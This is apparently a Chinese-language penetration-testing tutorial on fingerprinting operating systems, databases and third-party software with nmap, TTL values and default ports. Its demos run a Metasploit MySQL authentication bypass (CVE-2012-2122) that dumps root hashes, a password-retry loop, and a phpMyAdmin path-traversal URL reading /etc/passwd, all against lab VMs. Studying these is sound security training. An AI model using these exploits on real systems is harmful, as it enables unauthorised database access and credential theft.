基礎入門-系統及數據庫等
- 一、操作系統層面
- 1、識別操作系統常見方法
- 2、簡要兩者區別及識別意義
- 3、操作系統層面漏洞類型對應意義
- 4、簡要操作系統層面漏洞影響范圍
- 二、數據庫層面
- 1、識別數據庫類型常見方法
- 2、數據庫類型區別及識別意義
- 3、數據庫常見漏洞類型及攻擊
- 4、簡要數據庫層面漏洞影響范圍
- 第三方層面
- 1、如何判斷有那些第三方平臺或軟件
- 2、簡要為什么要識別第三方平臺或軟件
- 3、常見第三方平臺或軟件漏洞類型及攻擊
- 4、簡要第三方平臺或軟件安全測試的范圍
- 補充
- 四、演示案例
- 1、上述涉及的基礎知識演示
- 2、演示某操作系統層面漏洞
- 3、演示某數據庫弱口令及漏洞演示
- 1.mysql 認證繞過 (CVE-2012-2122)
- 4、某第三方應用安全漏洞演示
- 五、涉及資源
一、操作系統層面
1、識別操作系統常見方法
a、有網站
-
可以通過網站識別通過網站的手工識別方法判斷:
-
windows對大小寫不敏感也就是說你在網頁中可以替換網站路徑的大小寫進行測試。
- 例子: 沒有發生報錯,說明可能是windows。
b、沒有網站
- 通過nmap進行掃描方法:
nmap -O IP地址
┌──(root?kali)-[~]
└─# nmap -O 192.168.9.131
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-15 04:18 EDT
Nmap scan report for 192.168.9.131 (192.168.9.131)
Host is up (0.00068s latency).
Not shown: 982 closed tcp ports (reset)
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
81/tcp open hosts2-ns
82/tcp open xfer
83/tcp open mit-ml-dev
110/tcp open pop3
135/tcp open msrpc
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
5357/tcp open wsdapi
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
MAC Address: 00:0C:29:23:D3:5F (VMware)
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1
OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
Network Distance: 1 hopOS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.43 seconds
-sV
探測版本號
備注:不是所有的系統都可以用這種方式掃描出操作系統的類型、在windows的一些高版本中無法探測,例如:
─# nmap -O 10.1.1.129
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-07 21:10 CST
Nmap scan report for 10.1.1.129 (10.1.1.129)
Host is up (0.00053s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:0C:29:DC:AF:EA (VMware)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=6/7%OT=80%CT=1%CU=36041%PV=Y%DS=1%DC=D%G=Y%M=000C29%TM
OS:=60BE1ADE%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10C%TI=I%CI=I%II=I%
OS:SS=S%TS=U)OPS(O1=M5B4NW8NNS%O2=M5B4NW8NNS%O3=M5B4NW8%O4=M5B4NW8NNS%O5=M5
OS:B4NW8NNS%O6=M5B4NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
OS:ECN(R=Y%DF=Y%T=80%W=FFFF%O=M5B4NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=
OS:80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=
OS:A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=80%CD=Z)
-
也可以使用fscan掃描。
fscan.exe -h 192.168.9.132
c、TTL
不同的操作系統的默認TTL值是不同的, 所以我們可以通過TTL值來判斷主機的操作系統,但是當用戶修改了TTL值的時候,就會誤導我們的判斷,所以這種判斷方式也不一定準確。下面是默認操作系統的TTL:
1、WINDOWS NT/2000 TTL:128
2、WINDOWS 95/98 TTL:32
3、UNIX TTL:255
4、LINUX TTL:64
5、WIN7 TTL:64
一般的TTL都是不一樣的,如圖的TTL接近64,估計為win7或者為Linux。
**d、**特殊端口 如(22 / 139 / 445 / 1433 / 3389)
2、簡要兩者區別及識別意義
區別出不同的操作系統才能對癥下藥、因為windows和linux的漏洞是不一樣的、可能windows的漏洞在linux上就不能運用
3、操作系統層面漏洞類型對應意義
不同的漏洞會造成不同漏洞利用的條件
4、簡要操作系統層面漏洞影響范圍
有些漏洞會對操作系統造成崩潰、而有些系統只是藍屏、或者是權限的提升
二、數據庫層面
1、識別數據庫類型常見方法
默認的語言搭配的數據庫
組合類型 asp + access/mssql
組合類型 php + mysql
組合類型 aspx + mssql(sqlserver)
組合類型 jsp + mysql/oracle
組合類型 Python + MongoDB
常見的數據庫默認端口號
關系型數據庫mysql 3306sqlserver 1433oracle 1521psotgresql 5432非關系型數據庫MongoDB 27017Redis 6379memcached 11211
Windows下才有—access,sqlserver。
利用端口掃描----數據庫會有對應的端口號,在運行時會開放對應的端口號。
2、數據庫類型區別及識別意義
數據庫的不同表示的結構也是不同、寫法結構也不一樣、所以產生的漏洞也不一樣。不同的數據庫的攻擊方式也不完全一樣。
3、數據庫常見漏洞類型及攻擊
存在弱口令數據庫漏洞
4、簡要數據庫層面漏洞影響范圍
數據庫權限網站權限修改網頁內容
第三方層面
1、如何判斷有那些第三方平臺或軟件
通過網站去掃描有些網站安裝了第三方的軟件如phpmyadmin通過掃描就可以發現他的安裝目錄
判斷安裝了第三方軟件端口掃描
nmap -O -sV 10.1.1.130
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-08 09:26 CST
Nmap scan report for 10.1.1.130 (10.1.1.130)
Host is up (0.00085s latency).
Not shown: 978 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec?
513/tcp open login?
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
2、簡要為什么要識別第三方平臺或軟件
不同的第三方軟件或工具存在不同的漏洞、識別到更多的信息對收集到的漏洞也就越多
3、常見第三方平臺或軟件漏洞類型及攻擊
弱口令軟件的漏洞攻擊
4、簡要第三方平臺或軟件安全測試的范圍
直接獲取到軟件的權限便于進一步的提權和攻擊
補充
? 除去常規WEB安全及APP安全測試外,類似服務器單一或復雜的其他服務(郵件,游戲,負載均衡等),也可以作為安全測試目標,此類目標測試原則只是少了wEB應用或其他安全問題。所以明確安全測試思路是很重要的!
四、演示案例
1、上述涉及的基礎知識演示
2、演示某操作系統層面漏洞
ms17-010永恒之藍漏洞
3、演示某數據庫弱口令及漏洞演示
方法1
漏洞探測
參考文檔:https://vulhub.org/#/environments/mysql/CVE-2012-2122/┌──(root💀kali)-[~]
└─# nmap -O -sV 10.1.1.133
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-08 11:09 CST
Nmap scan report for 10.1.1.133 (10.1.1.133)
Host is up (0.0011s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
3306/tcp open mysql MySQL 5.5.23
MAC Address: 00:0C:29:13:E9:61 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hopOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.88 seconds
漏洞利用
msf6 auxiliary(scanner/mysql/mysql_hashdump) > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > set rhosts 10.1.1.133
rhosts => 10.1.1.133
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > set threads 10
threads => 10
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > run[+] 10.1.1.133:3306 - 10.1.1.133:3306 The server allows logins, proceeding with bypass test
[*] 10.1.1.133:3306 - 10.1.1.133:3306 Authentication bypass is 10% complete
[*] 10.1.1.133:3306 - 10.1.1.133:3306 Authentication bypass is 20% complete
[*] 10.1.1.133:3306 - 10.1.1.133:3306 Authentication bypass is 30% complete
[*] 10.1.1.133:3306 - 10.1.1.133:3306 Authentication bypass is 40% complete
[*] 10.1.1.133:3306 - 10.1.1.133:3306 Authentication bypass is 50% complete
[*] 10.1.1.133:3306 - 10.1.1.133:3306 Authentication bypass is 60% complete
[*] 10.1.1.133:3306 - 10.1.1.133:3306 Authentication bypass is 70% complete
[*] 10.1.1.133:3306 - 10.1.1.133:3306 Authentication bypass is 80% complete
[+] 10.1.1.133:3306 - 10.1.1.133:3306 Successfully bypassed authentication after 847 attempts. URI: mysql://root:DBrmCST@10.1.1.133:3306
[+] 10.1.1.133:3306 - 10.1.1.133:3306 Successfully exploited the authentication bypass flaw, dumping hashes...
[+] 10.1.1.133:3306 - 10.1.1.133:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
[+] 10.1.1.133:3306 - 10.1.1.133:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
[+] 10.1.1.133:3306 - 10.1.1.133:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
[+] 10.1.1.133:3306 - 10.1.1.133:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
[+] 10.1.1.133:3306 - 10.1.1.133:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
[+] 10.1.1.133:3306 - 10.1.1.133:3306 Hash Table has been saved: /root/.msf4/loot/20210608111341_default_10.1.1.133_mysql.hashes_091970.txt
[*] 10.1.1.133:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedmd5在線解密
https://www.cmd5.com/
└─# mysql -uroot -p123456 -h10.1.1.133
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 886
Server version: 5.5.23 Source distributionCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| test |
+--------------------+
4 rows in set (0.001 sec)
方法二
┌──(root💀kali)-[~]
└─# for i in `seq 1 1000`;do mysql -uroot -pwrong -h 10.1.1.133 -P 3306; done 130 ?
ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 1553
Server version: 5.5.23 Source distributionCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.MySQL [(none)]>
1.mysql 認證繞過 (CVE-2012-2122)
1.開啟靶場。
- nmap掃描靶場IP,發現一個MySQL的3306端口,并且版本為 5.5.23。
-
使用msf。
- 搜索漏洞庫。
- 使用模塊。
- 配置設置。
- 運行。(這里我沒有攻擊成功,用了其他人攻擊成功的截圖)
-
會獲得該數據庫的用戶名和密碼。
-
獲得的密碼需要進行md5解密。
-
數據庫登錄。
mysql -u root -P 3306 -h 192.168.9.157 -p
4、某第三方應用安全漏洞演示
https://vulhub.org/#/environments/phpmyadmin/CVE-2018-12613/
環境搭建
┌──(root?kali)-[~/tools/vulhub-master/phpmyadmin/CVE-2018-12613]
└─# docker-compose up -d
漏洞利用
http://192.168.9.157:8080/?target=db_sql.php%253f/…/…/…/…/…/…/…/…/etc/passwd
五、涉及資源
https://nmap.org/
https://www.kali.org/downloads/
https://github.com/hellogoldsnakeman/masnmapscan-V1.0
?
kalilinux開啟端口、關閉防火墻方法:https://www.cnblogs.com/linshengqian/p/16929917.html